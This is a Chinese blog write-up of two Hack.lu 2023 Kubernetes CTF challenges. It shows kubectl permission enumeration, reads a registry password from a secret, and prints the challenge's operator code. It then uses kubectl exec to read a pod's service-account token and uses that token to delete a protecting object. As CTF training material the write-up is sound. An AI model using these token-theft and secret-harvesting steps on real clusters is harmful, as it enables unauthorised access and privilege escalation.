0x00 前言
难得碰上能有k8s相关的题,正好也没有due要赶,因此记录一下题解,也得好好学学这中题目是如何部署的
0x01 Bat Kube
nc k8s.0xf.eu 8888
获得一个k8s的Account并保存在本地
首先看可用权限kubectl auth can-i --list --kubeconfig config
基本上就是只能看,不能写的情况,在default 的namespace里搜索可用内容,看到secret,获取第一部分flag: flag{k8s_1s_
同时也获得hint去namespaces看看
找到secret-namespaces,查看该底下权限
依旧是只能看不能改,看到pod有部署,查看之后看到在console端持续输出内容
查看pod的内容
根据hint通过api-resource查看可用CRD。kubectl api-resources –kubeconfig config, 看到了flags的API,访问获得最后部分flag
0x02 Bat As Kube
还是先看auth
值得注意的是flagrequest可写,flag API可删,并且secret只能访问名字为docker-hub-login
的对象。那么先看secret
一个docker register的账号ctf-player:f1_zZsJuSw3v6y7FXpnp,认证地址为git.k8s-ctf.de:1337
。结合pod的description,下载镜像
docker login git.k8s-ctf.de:1337 && docker pull git.k8s-ctf.de:1337/root/hacklu:latest
这里直接用vesta将镜像文件导出到本地(因此暂时没有做到处镜像的功能,所以只能在scan image的时候在文件还没有被删除的时候强制停止,后期加上)。逻辑文件位于app/flag-operator.py
from kubernetes import client, config, watch
import os
import uuid
import json
def read_flag():
flag = os.getenv("FLAG")
return str(flag)
def check_flagrequest(obj, crds, group, version, flagprotector_plural):
fp = crds.list_namespaced_custom_object(group, version, "flagprotector", flagprotector_plural)
if len(fp["items"]) > 0:
return False, "A Flagprotector is deployed somewhere in the cluster, you need to delete it first!"
fr = json.loads(json.dumps(obj))
if "metadata" not in fr.keys():
return False, "Flagrequest: Missing metadata"
if "labels" not in fr["metadata"].keys():
return False, "Flagrequest: Missing labels"
if "hack.lu/challenge-name" not in fr["metadata"]["labels"].keys():
return False, "Flagrequest: Missing label hack.lu/challenge-name"
if "give-flag" != fr["metadata"]["name"]:
return False, "Flagrequest: I dont like the request name, it should be 'give-flag'"
if "spec" not in fr.keys():
return False, "Flagrequest: Missing spec"
if "anti-bruteforce" not in fr["spec"].keys():
return False, "Flagrequest: 'anti-bruteforce' is missing in the spec"
if "Bi$wmX4PBTQLGe%AIKPO19$ussap4w" != fr["spec"]["anti-bruteforce"]:
return False, "Flagrequest: Anti-bruteforce token invalid! You dont need to bruteforce! Im hiding something in the cluster, that will help you :D"
return True, "Good Job!"
def main():
# Define CRDs
version = "v1"
group = "ctf.fluxfingers.hack.lu"
flagrequest_plural = "flagrequests"
flagprotector_plural = "flagprotectors"
flag_kind = "Flag"
flag_plural = "flags"
# Load CRDs
crds = client.CustomObjectsApi()
while True:
print("Watching for flagrequests...")
stream = watch.Watch().stream(crds.list_namespaced_custom_object, group, version, "default", flagrequest_plural)
for event in stream:
t = event["type"]
flagrequest = event["object"]
# Check if flagrequest was added
if t == "ADDED":
# Check if flagrequest is valid
accepted, error = check_flagrequest(flagrequest, crds, group, version, flagprotector_plural)
id = uuid.uuid4()
if accepted:
print("Flagrequest accepted, creating flag...")
# Create flag
crds.create_namespaced_custom_object(group, version, "default", flag_plural, {
"apiVersion": group + "/" + version,
"kind": flag_kind,
"metadata": {
"name": "flag" + str(id)
},
"spec": {
"flag": read_flag(),
"error": str(error),
}
})
else:
print("Flagrequest invalid")
# Create flag error
crds.create_namespaced_custom_object(group, version, "default", flag_plural, {
"apiVersion": group + "/" + version,
"kind": flag_kind,
"metadata": {
"name": "flag" + str(id)
},
"spec": {
"error": str(error),
}
})
if __name__ == "__main__":
print("Starting operator...")
try:
config.incluster_config.load_incluster_config()
except:
print("Failed to load incluster config")
exit(1)
main()
逻辑为在创建flagrequest之后会检测内容,并且同时创建flag 类,如果满足check_flagrequest函数的所有条件,则会在flag类中给出flag。那么根据逻辑构造出yaml文件
apiVersion: ctf.fluxfingers.hack.lu/v1
kind: Flagrequest
metadata:
name: give-flag
namespace: default
labels:
hack.lu/challenge-name: give-flag
spec:
anti-bruteforce: "Bi$wmX4PBTQLGe%AIKPO19$ussap4w"
但是创建之后get flag发现有flagprotector,需要删除他
Namspace有还有一个flagprotector
,看可用权限之后,值得注意的是pod有执行的权限
再观察deploy的yaml文件,那么很明确了。利用/var/run/secrets/kubernetes.io/serviceaccount/token中的token去删除protector
获取token
kubectl exec flagprotector-controller-7599f788dc-nkfdv –kubeconfig config -n flagprotector — cat //var/run/secrets/kubernetes.io/serviceaccount/token
查看该token在flagprotector的权限
kubectl auth can-i –list –kubeconfig config -n flagprotector –token <token>
猜想验证,直接删除flagprotector
kubectl delete flagprotector flag-protection –kubeconfig config -n flagprotector –token <token>
重新创建flagrequest访问flag类获的flag
Vesta for overlayout extraction and qcow2 scanning will comming soon…
原文始发于christa’s blog:Hack.lu 2023 两道k8s题解